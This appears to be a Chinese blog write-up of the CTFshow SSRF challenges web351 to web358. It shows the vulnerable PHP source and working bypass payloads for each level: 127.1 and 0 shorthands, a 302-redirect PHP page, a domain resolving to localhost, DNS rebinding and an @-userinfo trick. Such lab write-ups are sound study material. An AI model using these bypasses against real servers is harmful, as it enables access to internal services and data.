CTFSHOW SSRF

文章目录

web351

  • payload:url=http://127.0.0.1/flag.php

web352

  • 源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
} 
  • parse_url
$url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/";
$parts = parse_url($url);
# 输出结果
Array (
[scheme] => http
[host] => www.electrictoolbox.com
[path] => /php-extract-domain-from-full-url/
)
  • 过滤了localhost和127.0.0
  • 绕过方式
  1. 进制转化 可以转换为16进制
  2. 127.0.0.1可以缩写为127.1或者127.0.1

paylaod:url=http://127.1/flag.php

web353

  • 同上题目 过滤多了点
  • 可以用127.1或者进制转换

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
} 
  • 这道题一开是没想到怎么做
  • 后来想想前几天看佬在我面前解题用的方法

302跳转

  • 自己搭建一个网站,内容是一个跳转
<?php
header("Location:http://127.0.0.1/flag.php");
?>

然后payload就是自己网址下的这个页面

其他方法

  1. url=http://sudo.cc/flag.php 该域名绑定的就是127.0.0.1

web355

  • 限制了host长度小于等于5
  • 直接127.1绕过

web356

  • 限制host长度小于等于3
  • payload:http://0/flag.php

0.0.0.0,最特殊的一个ip地址,代表的是本机所有ip地址,不管你有多少个网口,多少个ip,如果监听本机的0.0.0.0上的端口,就等于监听机器上的所有ip端口。

web357

  • 源码
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

1.gethostbyname():通过域名获取ip地址
2. filter_var(variable, filter, options)

  • variable:必需。规定要过滤的变量。
  • filter:可选。规定要使用的过滤器的 ID
  • options:可选。规定一个包含标志/选项的关联数组或者一个单一的标志/选项
    FILTER_VALIDATE_IP 过滤器把值作为 IP 进行验证。
  • 该题选择的过滤器:FILTER_VALIDATE_IP
    Name: “validate_ip”
    ID-number: 275
    可能的标志:
    FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
    FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
    FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
    FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
  • 这题可以用302跳转
<?php
header("Location:http://127.0.0.1/flag.php");
?>
  • 不能用自己的私域IP
  • 等等 去问问佬

DNS重绑定

  • 这道题还可以用这个方法DNS重绑定
  • 访问http://ceye.io/ 注册个账号
  • CTFSHOW SSRF
  • CTFSHOW SSRF
  • 修改为如下,Identifier中的内容为你的域名吧。
  • 然后payload:http://r.xxxxxx/flag.php
  • 多试几次就可以成功了。

web358

  • 源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 
  • 正则的要求是http://ctf.开头以show结尾
  • 有个好玩的东西 访问一下 www.baidu.com@4399.com 你会访问到4399
  • 这道题的payload:
  • url=http://ctf.@127.0.0.1/flag.php?show
上一篇:RN组件之ListView


下一篇:SSRF漏洞学习